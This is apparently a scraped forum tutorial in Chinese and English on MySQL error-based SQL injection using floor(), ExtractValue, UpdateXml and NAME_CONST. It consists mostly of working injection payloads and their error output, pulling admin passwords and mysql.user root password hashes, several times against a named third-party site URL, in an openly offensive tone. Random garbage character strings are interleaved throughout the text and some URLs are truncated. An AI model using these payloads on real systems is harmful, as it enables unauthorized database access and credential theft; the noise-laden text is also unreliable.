mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
: ]+ O' y6 v9 {4 u7 Q首先进行正常查询：

mysql> select * from article where id = 1;
* V$ V* J: T6 N! U/ b8 t1 C+—-+——-+———+
| id | title | content |
+—-+——-+———+
1 S1 \7 y/ @: l9 q|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
; y1 b; [: ^; W) vERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

" L5 {0 }! `2 r. ~% ^. g
) N) ^4 v( P! L# ?0 W* W1 h

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
& t! u% n: f; E" V
! B' ]2 k' g0 v2 `. A# G; m' ehttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
8 v# X6 @) F" s9 h, g
/ R/ ~4 v, w4 E# G& e+ HErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
: D* j% w! W1 T  Z( F" ?3 E

# T. G  |+ n9 X相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
: x) h: ]- |( A( m8 |
Code:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
: ?$ Z, H% X+ E& P0 o4 T4 H6 o
- z9 q" a$ d! V" v5 _$ G
( i- |8 G4 r3 L; q9 n3 J
|---------------|
|     TEST      |
|               |
|---------------|
  m  `. h3 w& z* o|       1       |
8 Y/ ?& v: c# g|               |
|---------------|


' t7 T6 W$ t( G% [* I5 i' \

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
' ~8 Q& [  o2 j8 A& ?# [Intro to MySQL Variables

& q* f$ ~% |9 ]Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
& k& q0 E/ @: y& Z" f# P
: R  G4 S6 l3 Z# |- G2 j# RCode:
; h+ z0 ]# @8 {1 w3 b: `http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
$ X% p2 u" n4 k4 Z8 W' E
  W  n* f# m/ N# I2 R


# H+ o  w& g& J. ]
* ]  Q2 Y' }. v# CCode:
% c3 I8 G: q7 A6 Cand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


- m( u: b6 I9 |3 g" ^. CVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
9 k5 K; U% W5 Z3 A$ n% r, q6 e, H
Let's try it out on my site..

Code:
! N0 S4 t7 x# t% K, x+ p' i3 ohttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

  L$ q5 |7 `' y  ZErroruplicate column name '5.0.27-community-nt'
1 s4 j2 C' t) U% O( T$ s

/ k# Q7 i+ g+ U: }
0 k2 I" P* j4 m6 \; Q: B
3 Z8 v/ X$ f' X$ R1 j! W
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

7 ^9 N/ ?8 {8 NData Extraction

6 _' [: }6 x7 E8 UCode:
4 T+ t% \& ~- m( _8 D( \+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
5 q' j; M/ P$ ~; w% m  u/ L

& L' _+ K# Z/ \( |% }We should get a duplicate column 1 error...
8 i" M; R8 k  d* r" K0 F  [9 @6 ?8 r
Code:
% S  {: ]" A8 t6 F3 W; _5 C/ Fhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
! J" F# ^) D; P9 t4 |
. I4 L  G4 u! n: ?- JErroruplicate column name '1
9 L  V+ J0 w* Z$ ~% d3 K% O* U
* m' I* U, _4 p. T" M( I* w  T




* G# @, f+ i$ O5 @3 ]Now let's get the tables out this bitch..
/ E5 r8 Z, e- b- s  T
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
5 k7 W8 \8 r% f5 @. j4 f% F' J% Z

Let's see if it works here, if it does, we can go on and finish the job.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
: A* T7 Z; k, ^$ {. S
5 ~% _4 }, E7 V' L
Erroruplicate column name 'com_admanage
& \0 x, _5 a8 m

- x7 c* t" |, {' \
$ O1 z; D' N0 q5 G3 ~


0 z; i1 i4 |9 H0 I2 vNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
$ U1 \. n' U  ~( b  X# S! t% F
/ `, ~2 @1 r0 q' L0 O5 F$ S( n
So mine looks like this, and I get the duplicate column name 'Host'.
  h8 n; U" m6 B! [% I9 H' O
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
* U; I9 O3 i2 {3 k, F+ J2 E$ h
+ Z$ i5 M5 b4 Y. _/ b/ aErroruplicate column name 'Host'

6 Z' b+ I: _$ [! g& R6 J
  K# P# d( Z" X# y* e  Q. y, W( x3 S
+ {. e" @) N8 o% a* d

  k) T  ]! _% ^* b2 m  o
% Y: e9 M- n% U6 R% ~. f4 rWoot, time to finish this bitch off.
6 X% I; k$ ^$ h3 l
Code:
# {9 w# c$ w  U4 A* u& ?, ?3 d+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


( k- S, I" x6 _- I3 oSo mine looks like this...
) S# m3 w# ~- ~( _+ w( ?  J
  T5 n! Y$ i. @* aCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

( E) U: _6 q7 S% z$ s+ T. D" BErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'





& {  n- L: ?2 |7 G: @: e# [
( t; H  x6 N2 G2 g8 |) [And there we have it, thanks for reading.